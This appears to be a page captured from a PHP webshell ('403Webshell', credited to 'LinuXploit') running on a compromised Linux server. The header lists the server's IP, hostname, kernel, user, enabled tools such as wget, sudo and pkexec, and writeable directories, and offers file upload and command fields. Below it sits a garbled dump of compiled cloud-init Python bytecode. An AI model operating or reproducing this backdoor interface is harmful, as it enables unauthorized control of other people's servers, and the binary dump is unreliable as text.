403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.7
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.6/site-packages/cloudinit/reporting/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.6/site-packages/cloudinit/reporting/__pycache__/handlers.cpython-36.opt-1.pyc
3

��b1�@s$ddlZddlZddlZddlZddlZddlZddlZddlZddlZddl	m	Z	ddl
mZddl
m
Z
mZddlmZeje�ZGdd�de�ZGdd	�d	ejd
�ZGdd�de�ZGd
d�de�ZGdd�de�ZGdd�de�Ze�Zejde�ejde�ejde�ejde�dS)�N)�datetime)�log)�
url_helper�util)�DictRegistryc@seZdZdS)�ReportExceptionN)�__name__�
__module__�__qualname__�rr�/usr/lib/python3.6/handlers.pyrsrc@s&eZdZdZejdd��Zdd�ZdS)�ReportingHandlerz�Base class for report handlers.

    Implement :meth:`~publish_event` for controlling what
    the handler does with an event.
    cCsdS)zPublish an event.Nr)�self�eventrrr�
publish_event szReportingHandler.publish_eventcCsdS)z0Ensure ReportingHandler has published all eventsNr)rrrr�flush$szReportingHandler.flushN)rr	r
�__doc__�abc�abstractmethodrrrrrrr
sr
)�	metaclasscs*eZdZdZd�fdd�	Zdd�Z�ZS)�
LogHandlerzBPublishes events to the cloud-init log at the ``DEBUG`` log level.�DEBUGcsbtt|�j�t|t�rn>|}ytt|j��}Wn&tk
rVt	j
d|�tj}YnX||_dS)Nzinvalid level '%s', using WARN)
�superr�__init__�
isinstance�int�getattr�logging�upper�	Exception�LOG�warningZWARN�level)rr"Zinput_level)�	__class__rrr+s
zLogHandler.__init__cCs2tjdjdd|j|jg��}|j|j|j��dS)N�.�	cloudinitZ	reporting)r�	getLogger�join�
event_type�namerr"�	as_string)rrZloggerrrrr8szLogHandler.publish_event)r)rr	r
rrr�
__classcell__rr)r#rr(s
rc@seZdZdZdd�ZdS)�PrintHandlerzPrint the event as a string.cCst|j��dS)N)�printr*)rrrrrrBszPrintHandler.publish_eventN)rr	r
rrrrrrr,?sr,cs&eZdZd�fdd�	Zdd�Z�ZS)�WebHookHandlerNcsZtt|�j�t||||g�r4tj||||d�|_nd|_||_||_||_	t
j�|_dS)N)�consumer_key�	token_key�token_secret�consumer_secret)
rr.r�anyrZOauthUrlHelper�oauth_helper�endpoint�timeout�retriesrZfetch_ssl_details�ssl_details)rr5r/r0r1r2r6r7)r#rrrGs
zWebHookHandler.__init__c
Csd|jr|jj}ntj}y$||jtj|j��|j|j|j	d�St
k
r^tjd|j
��YnXdS)N)�datar6r7r8zfailed posting event: %s)r4�readurlrr5�json�dumpsZas_dictr6r7r8rr r!r*)rrr:rrrras

zWebHookHandler.publish_event)NNNNNN)rr	r
rrr+rr)r#rr.Fsr.cs�eZdZdZdZdZdZeeZdZdZ	dZ
dZd(ZdZ
dZe
d
f�fdd�	Zedd��Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zd d!�Zd"d#�Zd$d%�Zd&d'�Z�ZS))�HyperVKvpReportingHandlera,
    Reports events to a Hyper-V host using Key-Value-Pair exchange protocol
    and can be used to obtain high level diagnostic information from the host.

    To use this facility, the KVP user-space daemon (hv_kvp_daemon) has to be
    running. It reads the kvp_file when the host requests the guest to
    enumerate the KVP's.

    This reporter collates all events for a module (origin|name) in a single
    json string in the dictionary.

    For more information, see
    https://technet.microsoft.com/en-us/library/dn798287.aspx#Linux%20guests
    iiiZ
CLOUD_INIT�msg�resultZmsg_i�,�:z/var/lib/hyperv/.kvp_pool_1FNcsrtt|�j�||_tj|j�||_tj�|_|j	�|_
dj|j|j
�|_
tj|jd�|_d|j_|jj�dS)Nz{0}|{1})�targetT)rr=r�_kvp_file_path�_truncate_guest_pool_file�_event_types�queueZQueue�q�_get_incarnation_noZincarnation_no�format�EVENT_PREFIX�event_key_prefix�	threadingZThread�_publish_event_routineZpublish_threadZdaemon�start)rZ
kvp_file_pathZevent_types)r#rrr�s

z"HyperVKvpReportingHandler.__init__cCs�|jr
dStj�ttj��}zby*tjj|�|krHt|d��WdQRXWn2t	t
fk
r|}ztjd|�WYdd}~XnXWdd|_XdS)a
        Truncate the pool file if it has not been truncated since boot.
        This should be done exactly once for the file indicated by
        KVP_POOL_FILE_GUEST constant above. This method takes a filename
        so that we can use an arbitrary file during unit testing.
        Since KVP is a best-effort telemetry channel we only attempt to
        truncate the file once and only if the file has not been modified
        since boot. Additional truncation can lead to loss of existing
        KVPs.
        N�wz$failed to truncate kvp pool file, %sT)
�_already_truncated_pool_file�time�floatr�uptime�os�path�getmtime�open�OSError�IOErrorr r!)�clsZkvp_fileZ	boot_time�errrrD�s"z3HyperVKvpReportingHandler._truncate_guest_pool_filecCsBtj�}yttj�t|��Stk
r<tjd|�dSXdS)z�
        use the time passed as the incarnation number.
        the incarnation number is the number which are used to
        distinguish the old data stored in kvp and the new data.
        z"uptime '%s' not in correct format.rN)rrSrrQrR�
ValueErrorr r!)rZ
uptime_strrrrrH�sz-HyperVKvpReportingHandler._get_incarnation_noc
cs~t|jd��h}tj|tj�|j|�|j|j�}x.t|�|jkr`|j	|�}|V|j|j�}q4Wtj|tj
�WdQRXdS)z-iterate the kvp file from the current offset.�rbN)rWrC�fcntl�flock�LOCK_EX�seek�read�HV_KVP_RECORD_SIZE�len�_decode_kvp_item�LOCK_UN)r�offset�f�record_dataZkvp_itemrrr�
_iterate_kvps�s

z'HyperVKvpReportingHandler._iterate_kvpscCsdj|j|j|jtj��S)z�
        the event key format is:
        CLOUD_INIT|<incarnation number>|<event_type>|<event_name>|<uuid>
        [|subevent_index]
        z{0}|{1}|{2}|{3})rIrKr(r)�uuidZuuid4)rrrrr�
_event_key�sz$HyperVKvpReportingHandler._event_keycCs*tjd|j|jf|jd�|jd��}|S)Nz%ds%dszutf-8)�struct�pack�HV_KVP_EXCHANGE_MAX_KEY_SIZE�HV_KVP_EXCHANGE_MAX_VALUE_SIZE�encode)r�key�valuer9rrr�_encode_kvp_item�sz*HyperVKvpReportingHandler._encode_kvp_itemcCsdt|�}||jkr$tdj||j���|d|j�jd�jd�}||j|j�jd�jd�}||d�S)Nz$record_data len not correct {0} {1}.rzutf-8�)rrrs)rdrcrrIro�decode�strip)rriZrecord_data_len�k�vrrrre�s
z*HyperVKvpReportingHandler._decode_kvp_itemc
CsXt|jd��B}tj|tj�x|D]}|j|�q"W|j�tj|tj�WdQRXdS)NZab)rWrCr^r_r`�writerrf)rrirhr9rrr�_append_kvp_items
z*HyperVKvpReportingHandler._append_kvp_itemcCs�||j=tj|�}|dt|�d�}d}g}d|jd}x�|||j<d||j<tj||jd�}|jt|�d}	|j|dj|j|d|	�d	��}
d
j||�}|j	|j
||
��|d7}||	d�}t|�dkr>Pq>W|S)N�r�"z":""�)�
separators�z"{key}":"{desc}")rrZdescz{}|{})�MSG_KEYr;r<rd�DESC_IDX_KEY�JSON_SEPARATORS�HV_KVP_AZURE_MAX_VALUE_SIZE�replacerI�appendrt)rrr�	meta_data�descriptionZdes_in_json�iZresult_arrayZmessage_place_holderZdata_without_descZ
room_for_descrsZsubkeyrrr�_break_down
s.


z%HyperVKvpReportingHandler._break_downcCs�|j|�}|j|jtj|j�j�dd�}t||j�rB|j	||j<|j
||j<tj
||jd�}t|�|jkr||j|||j
�S|j||�}|gSdS)z�
        encode the event into kvp data bytes.
        if the event content reaches the maximum length of kvp value.
        then it would be cut to multiple slices.
        �Z)r)�typeZts)rN)rlr)r(rZutcfromtimestampZ	timestampZ	isoformat�hasattr�
RESULT_KEYr?r�r�r;r<r�rdr�r�rt)rrrrr�rsr9rrr�
_encode_event(s
z'HyperVKvpReportingHandler._encode_eventcCs�x�d}y�|jjdd�}|d7}g}xP|dk	rr||j|�7}y|jjdd�}|d7}Wq$tjk
rnd}Yq$Xq$WzFy|j|�Wn2ttfk
r�}ztj	d|�WYdd}~XnXWdxt
|�D]}|jj�q�WXWqtk
r�dSXqWdS)NrT)�blockr|Fz failed posting events to kvp, %s)
rG�getr�rFZEmptyr{rXrYr r!�rangeZ	task_done�EOFError)rZitems_from_queuerZencoded_datar[�_rrrrMCs*
"z0HyperVKvpReportingHandler._publish_event_routinecCs$|js|j|jkr |jj|�dS)N)rEr(rGZput)rrrrrrasz'HyperVKvpReportingHandler.publish_eventcCstjd�|jj�dS)Nz0HyperVReportingHandler flushing remaining events)r �debugrGr')rrrrres
zHyperVKvpReportingHandler.flush)r@rA)rr	r
rrpr�rorcrJr�r�r�r�ZKVP_POOL_FILE_GUESTrPr�classmethodrDrHrjrlrtrer{r�r�rMrrr+rr)r#rr=rs2

r=rr-ZwebhookZhyperv)rr^r;rTrFrmrLrQrkrr%rrrrZcloudinit.registryrr&rr rr�ABCMetar
rr,r.r=Zavailable_handlersZ
register_itemrrrr�<module>s2
,y

Youez - 2016 - github.com/yon3zu
LinuXploit